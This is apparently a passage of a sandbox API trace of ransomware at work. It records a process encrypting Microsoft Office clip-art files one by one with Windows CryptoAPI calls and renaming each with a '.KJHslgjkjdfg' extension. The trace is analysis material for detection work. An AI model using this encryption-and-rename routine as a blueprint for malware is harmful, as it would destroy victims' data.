ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0296288.WMF", cAlternateFileName="")) returned 1 [0206.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.142] GetProcessHeap () returned 0x2ef0000 [0206.142] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.142] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.142] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.144] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.144] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.144] GetProcessHeap () returned 0x2ef0000 [0206.144] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.144] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.144] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.144] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.145] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.145] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.145] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.145] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x107ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x107ec, lpOverlapped=0x0) returned 1 [0206.146] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x107f0, dwBufLen=0x107f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x107f0) returned 1 [0206.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.147] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x107f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x107f0, lpOverlapped=0x0) returned 1 [0206.147] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x108c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.148] SetEndOfFile (hFile=0x130) returned 1 [0206.149] GetProcessHeap () returned 0x2ef0000 [0206.149] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.149] GetProcessHeap () returned 0x2ef0000 [0206.149] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.kjhslgjkjdfg")) returned 1 [0206.151] CloseHandle (hObject=0x130) returned 1 [0206.151] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297229.WMF", cAlternateFileName="")) returned 1 [0206.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.151] GetProcessHeap () returned 0x2ef0000 [0206.152] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.152] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.152] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0206.153] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.153] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.153] GetProcessHeap () returned 0x2ef0000 [0206.153] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.153] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.153] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.153] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.154] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.154] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.154] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.154] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x59ce, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x59ce, lpOverlapped=0x0) returned 1 [0206.155] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x59d0, dwBufLen=0x59d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x59d0) returned 1 [0206.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.155] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x59d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x59d0, lpOverlapped=0x0) returned 1 [0206.155] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.155] SetEndOfFile (hFile=0x130) returned 1 [0206.157] GetProcessHeap () returned 0x2ef0000 [0206.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.157] GetProcessHeap () returned 0x2ef0000 [0206.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.kjhslgjkjdfg")) returned 1 [0206.158] CloseHandle (hObject=0x130) returned 1 [0206.159] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297269.WMF", cAlternateFileName="")) returned 1 [0206.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.159] GetProcessHeap () returned 0x2ef0000 [0206.159] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.160] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.160] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0206.167] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.167] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.167] GetProcessHeap () returned 0x2ef0000 [0206.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.168] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.168] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.168] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.168] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.168] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.168] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.168] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.168] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.168] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.168] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3d24, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3d24, lpOverlapped=0x0) returned 1 [0206.169] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d30, dwBufLen=0x3d30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d30) returned 1 [0206.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.170] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3d30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3d30, lpOverlapped=0x0) returned 1 [0206.170] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.170] SetEndOfFile (hFile=0x130) returned 1 [0206.172] GetProcessHeap () returned 0x2ef0000 [0206.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.172] GetProcessHeap () returned 0x2ef0000 [0206.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.kjhslgjkjdfg")) returned 1 [0206.174] CloseHandle (hObject=0x130) returned 1 [0206.174] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297725.WMF", cAlternateFileName="")) returned 1 [0206.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.176] GetProcessHeap () returned 0x2ef0000 [0206.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.176] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.176] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0206.187] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.187] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.187] GetProcessHeap () returned 0x2ef0000 [0206.187] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.187] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.187] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.187] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.187] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.187] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4236, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4236, lpOverlapped=0x0) returned 1 [0206.192] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4240, dwBufLen=0x4240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4240) returned 1 [0206.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.192] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4240, lpOverlapped=0x0) returned 1 [0206.192] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.192] SetEndOfFile (hFile=0x130) returned 1 [0206.195] GetProcessHeap () returned 0x2ef0000 [0206.195] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.195] GetProcessHeap () returned 0x2ef0000 [0206.195] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.kjhslgjkjdfg")) returned 1 [0206.196] CloseHandle (hObject=0x130) returned 1 [0206.197] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297727.WMF", cAlternateFileName="")) returned 1 [0206.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.197] GetProcessHeap () returned 0x2ef0000 [0206.197] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.197] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: 